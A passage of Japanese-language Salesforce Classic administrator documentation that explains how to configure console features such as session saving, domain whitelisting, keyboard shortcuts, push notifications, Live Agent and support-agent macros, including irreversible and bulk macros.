Salesforce コンソールの
ユーザセッションを保存
する
• 「アプリケーションの

カスタマイズ」

システム管理者はユーザセッションを保存して、ユーザがブラウザを閉じたり、
Salesforce からログアウトした後で再度ログインしたときに、作業していた状態
にすばやく戻れるようにすることができます。
コンソールが設定されている場合は、ユーザセッションが自動的に保存される
ため、再度ログインしたときに、以前に開いていたコンソールタブ、カスタム
コンソールコンポーネント、サイズ変更済みのサイドバーコンポーネント、開
いた状態または閉じた状態の検索ヘッダー、および相互関係ログが表示されま
す。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. コンソールアプリケーションを選択します。
3. [編集] をクリックします。
4. ユーザセッションが保存されない場合は、[ユーザセッションを保存] をク

リックします。
5. [保存] をクリックします

メモ: コンソールは、ユーザがタブを閉じるまでブラウザの
sessionStorage プロパティを使用してタブを保持します。ユーザが
Salesforce からログアウトし、同じウィンドウを使用して再びログインする
と、[ユーザセッションを保存] が無効になっている場合でも、前に開いて
いたタブが新しいセッションで再び開きます。

関連トピック:

Salesforce Classic のコンソールの設定可能な機能
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Salesforce Classic の Salesforce コンソールのドメインのホワイトリスト登録

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce コンソールのド
メインをホワイトリスト
に追加する
• 「アプリケーションの

カスタマイズ」

Salesforce システム管理者は、コンソールユーザに Salesforce 外部のドメインへの
アクセスを許可できます。たとえば、コンソールのホワイトリストに
www.example.com を追加して、コンソールユーザがこのドメインにアクセス
できるようにすることができます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. コンソールアプリケーションを選択します。
3. [編集] をクリックします。
4. [ホワイトリストのドメイン]に、ユーザがアクセスするドメインを入力しま

す。ドメインが複数ある場合はカンマで区切ります。http://や https://

はドメインではなく URL の一部であるため、これらのプレフィックスを含め
ないでください。
CTI 電話がサーバの非標準ポートで実行されている場合は、ドメインにポート
番号を含めるようにしてください。たとえば、サーバの名前が myserverで
ポート番号が 8500 である場合、myserver:8500 をホワイトリストに含め
ます。

5. [保存] をクリックします。

関連トピック:

Salesforce Classic のコンソールの設定可能な機能

Salesforce Classic の Salesforce コンソールのキーボードショートカットのカスタマイズ

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce コンソールの
キーボードショートカッ
トをカスタマイズする
• 「アプリケーションの

カスタマイズ」

キーボードショートカットの作成またはカスタマイズして、ユーザがマウスを
使用する代わりにキーを押してアクションをすばやく実行できるようにします。
コンソールが設定されている場合は、いくつかのデフォルトのキーボードショー
トカットが自動的にオンになり、カスタマイズできます。たとえば、キーを押
してタブの開閉、タブ間の移動、レコードの保存を行うようにカスタマイズで
きます。カスタムショートカットを作成するには、事前に開発者が
addEventListener() メソッドを使用してショートカットのアクションを
Salesforce コンソール統合ツールキットに定義しておく必要があります。コンソー
ルの内部で実行されるアクションのショートカットのみを作成できます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. Salesforce コンソールアプリケーションの横にある[編集]をクリックします。
3. [キーボードショートカットをカスタマイズ] をクリックします。
4. ページの上部にある [編集] をクリックします。
5. [編集] をクリックして既存のショートカットをカスタマイズするか、[+ キー

ボードショートカットを追加] をクリックして新しいショートカットを作成
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します。新しいショートカットを作成する場合、キーコマンドの一意の識別子である [コンソールイベント
名]を追加し、ショートカットのアクションを定義した開発者にそのイベント名を送信して、ショートカッ
トをトリガするメソッドに開発者がそれを追加できるようにする必要があります。デフォルトのショート
カットを削除することはできませんが、それらを編集または無効にすることはできます。

6. [保存] をクリックします。
ショートカットをカスタマイズまたは作成したら、コンソールに割り当てられているユーザに、実行できる新
しいアクションについて通知します。

メモ: コンソールごとに最大 144 個のショートカットを設定できます。これには、デフォルトショート
カットと作成したショートカットが含まれます。CTRL+F などの標準ブラウザショートカットを含むキー
ボードショートカットを作成またはカスタマイズすると、作成したショートカットが期待どおりに機能
しない場合があります。
キーボードショートカットは、文字キーの前に SHIFT キーを押しても大文字と小文字は区別されません。
たとえば、SHIFT+b と SHIFT+B は同じです。CTRL、ALT、または SHIFT をキーボードショートカットに使用す
る場合、これらのキーの順番は考慮されません。たとえば、CTRL+ALT+A と ALT+CTRL+A は同じです。

ヒント: ショートカットにはいくつでもキーを含めることができますが、ユーザが覚えられるように、
ショートカットのキーは 3 つまでにすることをお勧めします。コンソールユーザは、SHIFT+K を押してフ
ロート表示ですべてのコンソールショートカットを一覧表示できます。

関連トピック:

Salesforce Classic の Salesforce コンソールでのキーボードショートカットの使用
Salesforce Classic の Salesforce コンソールのデフォルトのキーボードショートカット
Salesforce Classic のコンソールの設定可能な機能

Salesforce Classic の Salesforce コンソールの転送通知の設定

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

転送通知を設定する
• 「アプリケーションの

カスタマイズ」

システム管理者は、ユーザが操作中のレコードが他のユーザによって変更され
たことを示すため、コンソールの転送通知を設定できます。
転送通知とは、コンソールのリストおよび詳細ページにあるビジュアルインジ
ケータであり、ユーザのセッション中にレコードまたは項目が変更されると表
示されます。たとえば、2 人のサポートエージェントが同じケースで作業してい
る場合に一方のエージェントが [優先度]を変更すると、もう一方のエージェン
トに転送通知が表示されるため、そのエージェントは変更を認識でき、同じ作
業を行わなくて済みます。
転送通知が表示されるタイミングおよび転送通知機能をトリガするオブジェク
トと項目を選択します。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. コンソールアプリケーションを選択して [編集] をクリックします。
3. [リストの更新方法を選択]で、転送通知が表示されるタイミングを選択しま

す。
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説明オプション

リストは更新されず、転送通知は表示されません。なし

変更がある場合にリスト全体が更新されます。リス
トの条件に基づいてレコードがリストに追加または

リストを更新

リストから削除されますが、キューに追加された新
しいレコードはレコード所有者のリストのみが更新
されます。

転送通知用に選択された項目に変更がある場合に、
リストの行が更新されます。

リストの行を更新

4. [詳細ページの更新方法を選択] で、転送通知が表示されるタイミングを選択します。

説明オプション

詳細ページは更新されず、転送通知は表示されませ
ん。

更新しない

レコードが変更された場合に、詳細ページが自動的
に更新されます。

自動的に更新

レコードが変更された場合に、詳細ページにメッ
セージが表示されます。

フラグ

5. [通知のオブジェクトと項目を選択]をクリックして[編集]を選択します。ここで選択した転送通知設定は、
すべてのコンソールアプリケーションに適用されます。

6. 転送通知をトリガするオブジェクトを選択します。たとえば、ケースまたはケースの項目への変更によっ
て転送通知機能をトリガする場合、[ケース] を [選択可能な項目] から [選択済みの項目] に移動します。

7. [項目] で [編集] をクリックし、転送通知機能をトリガする項目を選択します。
8. [OK] をクリックして、[保存] を選択します。
9. 転送通知ユーザに、転送トピック標準オブジェクトに対する「参照」以上の権限を付与します。「ユーザ

権限およびアクセス」 (ページ 567)を参照してください。

重要: セッションセキュリティで [HttpOnly 属性が必要] が有効になっている場合、転送通知は表示さ
れません。

メモ:

• 取引先、取引先責任者、ケース、リード、商談、キャンペーン、ToDo、およびカスタムオブジェクト
とその項目を転送通知に使用できます。

• 転送通知は、Professional Edition のコンソールでは使用できません。
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• リードオブジェクトの転送通知を設定して Data.com クリーンアップルールを使用する場合、転送通知
がコンソールでトリガされます。余分な通知が転送通知の制限に影響を及ぼすことがあります。

関連トピック:

Salesforce Classic の Salesforce コンソールでの転送通知の表示
Salesforce Classic のコンソールの設定可能な機能

Salesforce Classic の Salesforce コンソールでの履歴コンポーネントの有効化

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

履歴コンポーネントを有
効化する
• 「アプリケーションの

カスタマイズ」

コンソールが設定されている場合、履歴コンポーネントをフッターに追加する
と、ユーザが Salesforce を検索しなくても、最近使用した主タブやブックマーク
にすばやくアクセスできます。

メモ:  Summer '15 では、ユーザがタブを見つけて取得する操作を効率化する
ために、[最新のタブ] が [履歴] という名前に変更され、ブックマークが追
加されました。これらの機能は、Internet Explorer® 7 および 8 では使用できま
せん。

1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア
プリケーション] を選択します。

2. Salesforce コンソールアプリケーションを選択します。
3. [編集] をクリックします。
4. [コンソールコンポーネントを選択]で、履歴を [選択済みの項目]に追加しま

す。
5. [カスタムコンソールコンポーネントを揃える]で、コンポーネントをフッター

の右または左のどちらに表示するかを選択します。
6. [保存] をクリックします。

関連トピック:

Salesforce Classic の Salesforce コンソールでのブックマークまたは最近使用したタブの表示
Salesforce Classic のコンソールの設定可能な機能
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Salesforce Classic の Salesforce コンソールのマルチモニターコンポーネントの有効化

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

マルチモニターコンポー
ネントを有効化する
• 「アプリケーションの

カスタマイズ」

コンソールが設定されている場合は、マルチモニターコンポーネントがオンに
なるため、コンソールの各部分を画面の作業しやすい別の領域に移動できます。
マルチモニターコンポーネントでは、ブラウザから主タブまたはOpen CTIソフト
フォンをポップアウトし、複数のモニター間でドラッグできます。[履歴] コン
ポーネント、Live Agent チャット (フッターコンポーネント以外)、およびコンソー
ルのフッターに含まれるコンソールコンポーネントも移動できます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. コンソールアプリケーションを選択します。
3. [編集] をクリックします。
4. マルチモニターコンポーネントがオフの場合は、[マルチモニターコンポーネ

ントを有効化] をクリックします。
5. [保存] をクリックします

メモ: Salesforceからログアウトした場合、[設定]をクリックした場合、リン
クをクリックしてコンソールから離れた場合、またはブラウザを更新した
か閉じた場合、ポップアウトした項目は閉じて画面上の位置は失われます。

ヒント: コンポーネントをポップアウトするには、ブラウザの (1) ポップアップウィンドウを許可する設
定、および (2) リンクを新しいウィンドウ (タブではなく) で開くようにする設定の更新が必要な場合があ
ります。

関連トピック:

Salesforce Classic の Salesforce コンソールのマルチモニターコンポーネントを操作するためのガイドライン
Salesforce Classic のコンソールの設定可能な機能
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Salesforce Classic の Salesforce コンソールへの Live Agent の追加

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールに
Live Agent を追加する
• 「アプリケーションの

カスタマイズ」

Live Agent を Salesforce コンソールに追加すると、エージェントとスーパーバイザ
は 1 か所から顧客とチャットしたり、他のカスタマーサービスツールにアクセ
スしたりできます。
Live Agent を Salesforce コンソールアプリケーションに追加する前に、Salesforce コ
ンソールアプリケーションを作成する必要があります (まだ設定していない場
合)。
Live Agent を設定したら、Salesforce コンソールアプリケーションに追加します。
コンソールに Live Agent が設定されると、エージェントはチャットの顧客とやり
とりできるようになります。Salesforce コンソールがあると、エージェントとスー
パーバイザは 1 か所から Live Agent や他の Service Cloud 製品にアクセスできるよう
になり、迅速かつ効率的なカスタマーサービスを顧客に提供できます。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. Live Agentを設定するSalesforce コンソールアプリケーションの名前の横にある

[編集] をクリックします。
3. [このアプリケーションに Live Agent を含める] を選択します。
4. チャットワークスペースのチャットセッションのサブタブとして開くレコー

ドまたはページを選択します。
5. 必要に応じて、Salesforce 組織でナレッジが有効化されている場合は、[Live

Agent にナレッジの推奨記事を含める] を選択してチャットワークスペース
に Knowledge One ウィジェットを表示します。

6. [保存] をクリックします。
複数の Salesforce アプリケーションを同時に実行できます。ただし、Salesforce コ
ンソールアプリケーションにログインしている間に、他の Salesforce アプリケーションにログインすると、新規
チャット要求を受け入れることができません。

関連トピック:

Salesforce Classic の Salesforce コンソールでの Live Agent の使用
Salesforce Classic のコンソールの設定可能な機能
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Salesforce Classic の Salesforce コンソールでのナレッジの有効化

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ナレッジサイドバーを有
効化する
• 「アプリケーションの

カスタマイズ」

Salesforce ナレッジが設定されたら、ケースに対応しているユーザに関連ナレッ
ジ記事を自動的に表示し、ケースをすばやくクローズできるよう、ナレッジサ
イドバーをオンにすることができます。

重要: コンソールに追加する前に Salesforce ナレッジを Salesforce 組織で設定
する必要があります。ナレッジ記事は、ケースの [件名] に入力されてい
る一致する語に基づいて表示されます。

1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. ページレイアウトの横にある [編集] をクリックします。
3. [レイアウトのプロパティ] をクリックします。
4. [ナレッジサイドバー] をオンにして、[OK] をクリックします。
5. [保存] をクリックします。
コンソールユーザに割り当てられているケースページレイアウトのそれぞれで、
上記の手順を繰り返します。

関連トピック:

オブジェクト管理設定の検索
Salesforce Classic のコンソールの設定可能な機能

Salesforce Classic コンソールのマクロ

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースフィードを使用するサポートエージェントは、マクロを実行して、反復
作業 (メールテンプレートの選択、顧客へのメールの送信、ケース状況の更新な
ど) をすべて 1 回のクリックで自動的に完了できるようになりました。マクロと
は、システムに作業を実行する方法を指示する一連の命令です。エージェント
がマクロを実行すると、システムにより各命令が実行されます。マクロにより、
時間が節約され、エージェントの作業をサポートするうえで一貫性が確保され
ます。
マクロを作成して、ケースフィードで複数のアクションを実行できます。たと
えば、メールの件名行を入力したり、ケース状況を更新したりするマクロを作
成できます。ケースフィードの異なる部分で、1 つのマクロで複数のアクション
を同時に実行できます。

メモ: マクロは、フィードベースの標準オブジェクトおよびカスタムオブジェクトでサポートされていま
す。

マクロの使用開始
マクロを作成および実行する前に、マクロを使用する場合の前提条件を組織で満たしていることを確認し、
マクロウィジェットをサービスコンソールに追加します。
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マクロの作成
マクロで実行するアクションの命令を指定して、マクロを作成できます。マクロは、小さいコンピュータ
プログラムのようなものです。実行する各ステップをマクロに指示する必要があります。次の例では、単
純なマクロを作成する方法を示します。
Salesforce Console for Service でのマクロの実行
マクロは、サポートエージェントが Salesforce Console for Service で行う一連の繰り返しキーストロークを自動
化します。マクロを実行することで、ケース状況の更新などの反復作業をすばやく完了できます。
Salesforce Classic でのマクロの管理
マクロのコピー、共有、削除は簡単にできます。
元に戻せないマクロ
一部のマクロは、元に戻せないアクション (顧客へのメールの送信、ケースの状況の更新など) を実行しま
す。送信アクション命令が含まれるマクロは元に戻せません。元に戻せないアクションを実行する命令を
含むマクロを作成、編集、実行するには、「ユーザが元に戻せないマクロを管理」権限が必要です。
一括マクロ
一括マクロは、複数のレコードで同時に実行できるマクロです。一括マクロにより、サポートエージェン
トは同じ問題を抱える顧客のケースの増加にすばやく対応できます。マクロは、一括マクロとして実行す
るための特定の条件を満たしている必要があります。
マクロのショートカット
キーボードショートカットを使用して、マクロでの作業をさらに効率化することができます。
マクロの例
次の例に、ビジネスニーズに基づいて異なる種類のマクロを作成する方法を示します。
マクロでサポートされるパブリッシャーとアクション
次のパブリッシャーとアクションは、Salesforce Console for Service のマクロでサポートされています。

関連トピック:

フィードベースのレイアウトの概要

マクロの使用開始

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロを作成および実行する前に、マクロを使用する場合の前提条件を組織で
満たしていることを確認し、マクロウィジェットをサービスコンソールに追加
します。
マクロは、取引先、ケース、取引先責任者、リードオブジェクトでのみサポー
トされます。マクロは、サービスコンソールでのみ使用できます。
マクロを使用するには、組織で次の前提条件を満たす必要があります。
• マクロを実行するオブジェクトでフィード追跡を有効にする必要がありま

す。
• マクロを実行するオブジェクトでフィードベースのページレイアウトを使用

します。
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• マクロで使用するパブリッシャーアクションをページレイアウトで使用できる必要があります。たとえば、
テンプレートまたはクイックテキストをケースフィードメールに挿入するマクロを使用する場合、メール
パブリッシャーをケースページレイアウトに追加する必要があります。

• マクロでクイックアクションを使用する場合は、クイックアクションをページレイアウトで使用できる必
要があります。

• マクロウィジェットをコンソールに追加する必要があります。
• マクロの作成およびマクロの実行を行うための適切なユーザ権限がユーザに必要です。
1. アプリケーションにコンソールコンポーネントとして割り当てて (ページ5191)、マクロブラウザを Salesforce

Console for Service に追加します。
a. [設定] から、[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択しま

す。
b. マクロブラウザを追加するコンソールアプリケーションを選択します。
c. [編集] をクリックします。
d. [カスタムコンソールコンポーネントを選択] で、[追加] 矢印を使用して、[選択可能な項目] リストから

[選択済みの項目] リストにマクロブラウザを移動します。
[コンソールコンポーネントの位置揃え] で、マクロブラウザをコンソールのフッターの左または右のど
ちらに位置揃えするかを選択します。

e. [保存] をクリックします。

2. マクロの作成またはマクロの実行を行うための適切なユーザ権限をユーザに付与します。
a. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[プロファイル] を選択します。
b. 操作するプロファイルを選択します。
c. [編集] をクリックします。
d. [標準オブジェクト権限] セクションで、マクロオブジェクトに対する適切な権限がユーザにあることを

確認します。
e. ユーザが元に戻せないマクロ (ページ5167) (メールの送信や項目値の更新を行うマクロなど) を実行できる

ようにするには、[システム管理者権限] セクションにスクロールして [ユーザが元に戻せないマクロを管
理] を選択します。

f. [保存] をクリックします。

マクロ内のすべてのテキスト項目の検索
マクロ検索の範囲を拡大して、エージェントがマクロのテキスト項目に含まれているキーワードを検索す
ることによって、すばやくマクロを見つけられるようにします。

関連トピック:

マクロ作成のヒント
マクロの作成
元に戻せないマクロ
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マクロ内のすべてのテキスト項目の検索

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを作
成、編集、および削除す
る
• 「アプリケーションの

カスタマイズ」

マクロ検索の範囲を拡大して、エージェントがマクロのテキスト項目に含まれ
ているキーワードを検索することによって、すばやくマクロを見つけられるよ
うにします。
たとえば、説明が「返品ポリシー - 30 日」というマクロをエージェントが検索
するとします。このエージェントは「返品ポリシー」を検索して、この語句を
含むすべてのマクロを表示することができます。
この設定が有効になっている場合、エージェントはマクロ命令のすべてのテキ
ストフィールドにわたってマクロを検索できます。この設定が有効になってい
ない場合、エージェントはマクロのタイトルと説明項目のみでキーワードを検
索できます。
エージェントがすべてのテキスト項目を検索できるようにする手順は、次のと
おりです。
1. [設定] から、[クイック検索] ボックスに「マクロ」と入力し、[マクロ設定]を

選択します。
2. [編集] をクリックします。
3. [すべてのマクロテキスト項目を検索に含める] を選択します。
4. [保存] をクリックします。

マクロの作成

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロで実行するアクションの命令を指定して、マクロを作成できます。マク
ロは、小さいコンピュータプログラムのようなものです。実行する各ステップ
をマクロに指示する必要があります。次の例では、単純なマクロを作成する方
法を示します。

必要なユーザ権限

マクロに対する「参照」マクロを参照する

マクロに対する「作成」および「編
集」

マクロを作成および編集する

「ユーザが元に戻せないマクロを管
理」

元に戻せないマクロを作成および実行
する

この例のマクロを作成するには、メールパブリッシャーがSalesforce組織で有効になっている必要があります。
1. マクロを作成します。

a. Salesforce Console for Service で、[マクロ] ウィジェットをクリックします。
b. [+ マクロを作成] をクリックします。
c. [マクロ名] に、このマクロの動作を簡単に識別できる名前を入力します。
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たとえば、「Replace email subject with “Steps for Resetting Your Password”」と入力
します。

d. [説明]で、このマクロの目的を説明します。省略可能な [説明]項目は、サポートエージェントがこの
マクロの機能を理解し、似ているマクロと区別するために役立ちます。

2. マクロの命令を追加します。
a. マクロのコンテキストを選択します。コンテキストでは、マクロで操作するケースフィードの部分を指

定します。
たとえば、[有効なタブを選択]を選択し、ケースフィードの有効なケースタブでアクションを実行する
ようにマクロに指示します。

b. [完了] をクリックします。すべての命令の後に、[完了] をクリックして次の行に移動します。
c. マクロで操作するオブジェクトを選択します。

たとえば、[メールアクションを選択]を選択し、ケースフィードのメールパブリッシャーを操作するよ
うにマクロに指示します。

d. マクロで実行するアクションを選択します。
たとえば、ケース内のメールの件名を置き換えるため、[件名を置き換える] を選択します。この命令
は、メールの件名項目を変更するようにマクロに指示します。また、置き換える件名を指定できるテキ
スト項目も表示されます。

e. テキスト項目に件名を入力します。この命令は、元の件名をクリアし、マクロで指定した値で置き換え
ます。
たとえば、テキスト項目に「Steps for Resetting Your Password」と入力します。顧客の元のメー
ルの件名が「Password Problems」であったとします。エージェントがこのマクロを実行すると、この元の
件名が新しい件名に自動的に置換されます。

f. 最後に、[アクションを送信] を選択し、これらの命令を実行するようにマクロに指示します。

3. マクロを保存します。
ケースフィード内のメールの元の件名を新しい件名で置き換えるマクロが作成されました。

マクロを作成したら、そのマクロを実行して正常に機能するか確認することをお勧めします。このマクロをテ
ストするには、Salesforce Console for Service に移動してケースレコードを開きます。マクロウィジェットを開きま
す。このマクロを選択して実行します。

マクロ作成のヒント
マクロの命名および設計方法は、サポートエージェントにとってのマクロの有用性に影響します。マクロ
を作成するときは、次のヒントを参考にしてください。
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マクロ作成のヒント

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロの命名および設計方法は、サポートエージェントにとってのマクロの有
用性に影響します。マクロを作成するときは、次のヒントを参考にしてくださ
い。

1. [マクロ名]は、サポートエージェントが使用するマクロを決定するときに参考にします。この名前はエー
ジェントがマクロを検索するときに使用されるため、マクロの目的を簡潔に表す (エージェントがマクロリ
ストで確認できる) 短い名前を付けると役立ちます。

2. [説明] は省略可能ですが、サポートエージェントがマクロの内容を把握するのに便利です。
3. マクロ命令は小さいコンピュータプログラムのようなものであるため、実行する各ステップまたは命令を

マクロに指示する必要があります。各命令は、サポートエージェントが手動でタスクを実行するときのク
リックに相当します。最初のマクロ命令は、マクロが動作するオブジェクト (有効なケースタブなど) を選
択します。

4. 2 つ目のマクロ命令は、マクロが機能するコンテキストまたは Salesforce Console for Service のコンポーネント
を指定します。たとえば、[メール] アクションのコンテキストでは、マクロで項目を設定し、メールパブ
リッシャー内でアクションを実行できます。

メモ:  Salesforce Console for Service コンポーネントが有効化されて設定されていない場合、そのコンポー
ネントのマクロは作成できません。

5. 3 つ目のマクロ命令は、マクロで実行するアクションを指定します。たとえば、このスクリーンショットの
マクロは、有効なケースタブにあるメールアクションの CC アドレス項目の値を変更します。

6. 同じコンテキストまたは異なるコンテキストで他の命令セットを追加できます。単純なマクロは 1 つのタ
スクのみを実行します。より複雑なマクロを作成するには、命令を追加します。
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Salesforce Console for Service でのマクロの実行

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロは、サポートエージェントが Salesforce Console for Service で行う一連の繰り
返しキーストロークを自動化します。マクロを実行することで、ケース状況の
更新などの反復作業をすばやく完了できます。

必要なユーザ権限

マクロに対する「参照」マクロを参照する

マクロに対する「作成」および「編
集」

マクロを作成および編集する

「ユーザが元に戻せないマクロを管
理」

元に戻せないマクロを作成および実行
する

メモ: 「ユーザが元に戻せないマクロを管理」権限は、送信アクション命令が含まれるマクロを実行する
場合にのみ必要です。すべての一括マクロには、送信アクション命令が含まれています。稲妻アイコン
( ) は、元に戻すことができないアクション (メールの送信など) がマクロで実行されることを示します。

1. マクロウィジェットを開きます。
2. マクロを検索して、マクロリストから該当するマクロを選択します。

マクロを検索するには、[マクロを検索] ボックスでそのマクロ名の数文字を入力します。検索キーワード
または検索文字を含むマクロが検索結果に表示されます。[マクロを検索] ボックスが空の場合、最近使用
した 25 のマクロがリストに表示されます。マクロを実行するかマクロの詳細ページを表示した場合、最近
使用したとみなされます。

3. 必要に応じて、マクロの説明と命令を参照してこのマクロが期待どおりに動作することを確認します。
命令にはマクロで実行されるステップが示されます。命令の確認は、マクロを初めて実行するときに役立
ちます。

4. マクロを開始するには、[実行] ( ) をクリックします。
マクロが正常に実行されたかどうかを示すメッセージが表示されます。正常に実行された各命令の横には
緑色のドットが表示されます。実行できなかった各命令の横には赤色のドットとエラーメッセージが表示
されるため、問題をトラブルシューティングできます。
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Salesforce Classic でのマクロの管理

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロのコピー、共有、削除は簡単にできます。

マクロのコピー
マクロをすばやくコピーすることができます。マクロのコピーは、コピー元
マクロのバリエーションを作成する場合に役立ちます。
マクロの共有
マクロでは、Salesforce の他のオブジェクトと同じ共有モデルが使用されま
す。公開グループや他のユーザとマクロを共有すると、他のサポートエー
ジェントがマクロの効率を向上することができます。

マクロのコピー

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロをすばやくコピーすることができます。マクロのコピーは、コピー元マ
クロのバリエーションを作成する場合に役立ちます。

必要なユーザ権限

マクロに対する「参照」マクロを参照する

マクロに対する「作成」および「編
集」

マクロをコピーする

システム管理者とサポートエージェントは、適切なユーザ権限を持つ場合にマ
クロをコピーできます。
1. マクロウィジェットを開きます。
2. コピーするマクロをクリックします。
3. マクロウィジェットを使用している場合は、[詳細を表示] アイコン ( ) をクリックします
4. [コピー] をクリックします。
5. [マクロ名] 項目に、マクロの一意の名前を入力します。
6. 必要に応じてマクロの手順を変更します。手順は別の時点で変更することもできます。
7. [保存] をクリックします。
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マクロの共有

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マクロでは、Salesforce の他のオブジェクトと同じ共有モデルが使用されます。
公開グループや他のユーザとマクロを共有すると、他のサポートエージェント
がマクロの効率を向上することができます。

必要なユーザ権限

マクロに対する「参照」マクロを参照する

マクロに対する「作成」および「編
集」

マクロを共有する

1. マクロウィジェットを開きます。
2. 共有するマクロを選択します。
3. [詳細を表示] アイコン ( ) をクリックします。
4. [共有] をクリックします。
5. [新規共有設定] ページで、公開グループまたはユーザを名前で検索します。
6. [選択可能]リストからグループまたはユーザを選択し、[追加]をクリックして、マクロを共有します。マク

ロの共有を停止するには、[共有先]リストからグループまたはユーザを選択し、[削除]をクリックします。
7. マクロを共有している場合は、[アクセス権] を [参照のみ] または [参照・更新] のいずれかに設定します。

• [参照のみ] では、サポートエージェントがマクロを参照および実行できます。
• [参照・更新] では、サポートエージェントがマクロを編集、参照、および実行できます。

8. [保存] をクリックします。

元に戻せないマクロ

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一部のマクロは、元に戻せないアクション (顧客へのメールの送信、ケースの状
況の更新など) を実行します。送信アクション命令が含まれるマクロは元に戻せ
ません。元に戻せないアクションを実行する命令を含むマクロを作成、編集、
実行するには、「ユーザが元に戻せないマクロを管理」権限が必要です。
稲妻アイコン ( ) は、マクロが元に戻せないことを示します。
「ユーザが元に戻せないマクロを管理」権限がない場合でも、次の操作を実行
できます。
• 元に戻せないアクションを実行する命令が含まれないマクロを作成および編

集する
• 元に戻せないアクションを実行する命令が含まれるマクロをコピー、削除、

共有する

例: 次の種類のアクションを実行するマクロは、元に戻せないマクロとみなされます。
• メールの送信
• ケース状況の更新
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一括マクロ

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一括マクロは、複数のレコードで同時に実行できるマクロです。一括マクロに
より、サポートエージェントは同じ問題を抱える顧客のケースの増加にすばや
く対応できます。マクロは、一括マクロとして実行するための特定の条件を満
たしている必要があります。
一括マクロは、次の場合にサポートされます。
• Salesforce Console for Service でのケースフィードのメールパブリッシャー
• ソーシャルクィックアクションを除くすべてのクイックアクション
一括マクロは、次の場合にはサポートされません。
• Salesforce ナレッジアクション
• コミュニティアクション
• ソーシャル投稿アクション
• 「追加」および「挿入」命令 (メールパブリッシャーの件名に追加命令や HTML 本文に挿入命令)

一括マクロがメールパブリッシャーと連動する場合、1 つのメールパブリッシャーアクションのみを含めるこ
とができます。
一括マクロには、1 つ以上の送信アクション命令が必要です。

例: たとえば、会社でサービスが停止しているため、多くの顧客がカスタマーサポートに問い合わせをし
ているとします。サポートエージェントが、進行中のケースがある顧客に対して、サービスの停止が終
了する時期を知らせるメールを送信できるようにします。メールテンプレートを使用する一括マクロを
作成して、これらの顧客へのメールを作成および送信することができます。

一括マクロの作成
この例では、選択された顧客のケースの取引先責任者にメールを送信する一括マクロの作成方法を示しま
す。
一括マクロ作成のヒント
一括マクロを効果的に使用するには、マクロの実行対象として適切なレコードを選択します。サポートエー
ジェントは、リストビューを絞り込んで選択するレコードを識別できます。
複数のレコードに対する一括マクロの実行
一括マクロは、一度に 1 つのレコードに対してのみ実行することも、複数のレコードで同時に実行するこ
ともできます。一括マクロを使用して、類似する顧客ケースやレコードにすばやく対応します。
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一括マクロの作成

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

